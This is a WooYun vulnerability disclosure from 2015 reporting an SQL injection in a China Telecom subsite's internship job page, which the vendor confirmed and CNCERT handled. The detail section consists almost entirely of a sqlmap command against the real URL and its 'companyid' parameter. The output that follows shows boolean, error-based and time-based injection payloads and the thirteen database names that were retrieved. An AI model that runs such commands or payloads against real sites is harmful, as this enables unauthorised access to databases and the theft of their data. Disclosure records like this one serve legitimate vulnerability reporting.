当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104652

漏洞标题:中国电信某分站SQL注射漏洞,影响多个数据库

相关厂商:中国电信

漏洞作者: Mosuan

提交时间:2015-04-15 09:44

修复时间:2015-06-01 14:30

公开时间:2015-06-01 14:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-15: 细节已通知厂商并且等待厂商处理中
2015-04-17: 厂商已经确认,细节仅向厂商公开
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-06-01: 细节向公众公开

简要描述:

sql

详细说明:

E:\sqlmap>sqlmap.py -u "http://shixi.189.cn/shixibao/cp.php?ac=enterprise_job&ig
nore=1&companyid=1253" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150325}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:05:34
[23:05:34] [INFO] resuming back-end DBMS 'mysql'
[23:05:34] [INFO] testing connection to the target URL
[23:05:37] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: companyid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ac=enterprise_job&ignore=1&companyid=1253 AND 9250=9250
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: ac=enterprise_job&ignore=1&companyid=1253 AND (SELECT 8982 FROM(SEL
ECT COUNT(*),CONCAT(0x7170786a71,(SELECT (ELT(8982=8982,1))),0x717a706271,FLOOR(
RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: ac=enterprise_job&ignore=1&companyid=1253 AND (SELECT * FROM (SELEC
T(SLEEP(5)))XFwC)
---
[23:05:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.5.11, Apache 2.4.9
back-end DBMS: MySQL 5.0
[23:05:41] [INFO] fetching database names
[23:05:41] [INFO] heuristics detected web page charset 'ascii'
[23:05:41] [WARNING] reflective value(s) found and filtering out
[23:05:41] [INFO] the SQL query used returns 13 entries
[23:05:41] [INFO] retrieved: information_schema
[23:05:41] [INFO] retrieved: cdcol
[23:05:41] [INFO] retrieved: mysql
[23:05:41] [INFO] retrieved: performance_schema
[23:05:41] [INFO] retrieved: phpmyadmin
[23:05:41] [INFO] retrieved: shixibao
[23:05:41] [INFO] retrieved: shixibao_uc
[23:05:41] [INFO] retrieved: shixibao_uchome
[23:05:41] [INFO] retrieved: shixibao_uchome_20140525
[23:05:41] [INFO] retrieved: test
[23:05:41] [INFO] retrieved: ultrax
[23:05:42] [INFO] retrieved: webauth
[23:05:42] [INFO] retrieved: zhiweibeifen
available databases [13]:
[*] cdcol
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] shixibao
[*] shixibao_uc
[*] shixibao_uchome
[*] shixibao_uchome_20140525
[*] test
[*] ultrax
[*] webauth
[*] zhiweibeifen
[23:05:42] [INFO] fetched data logged to text files under 'C:\Users\Mosuan\.sqlm
ap\output\shixi.189.cn'
[*] shutting down at 23:05:42

漏洞证明:

修复方案:

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-04-17 14:28

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无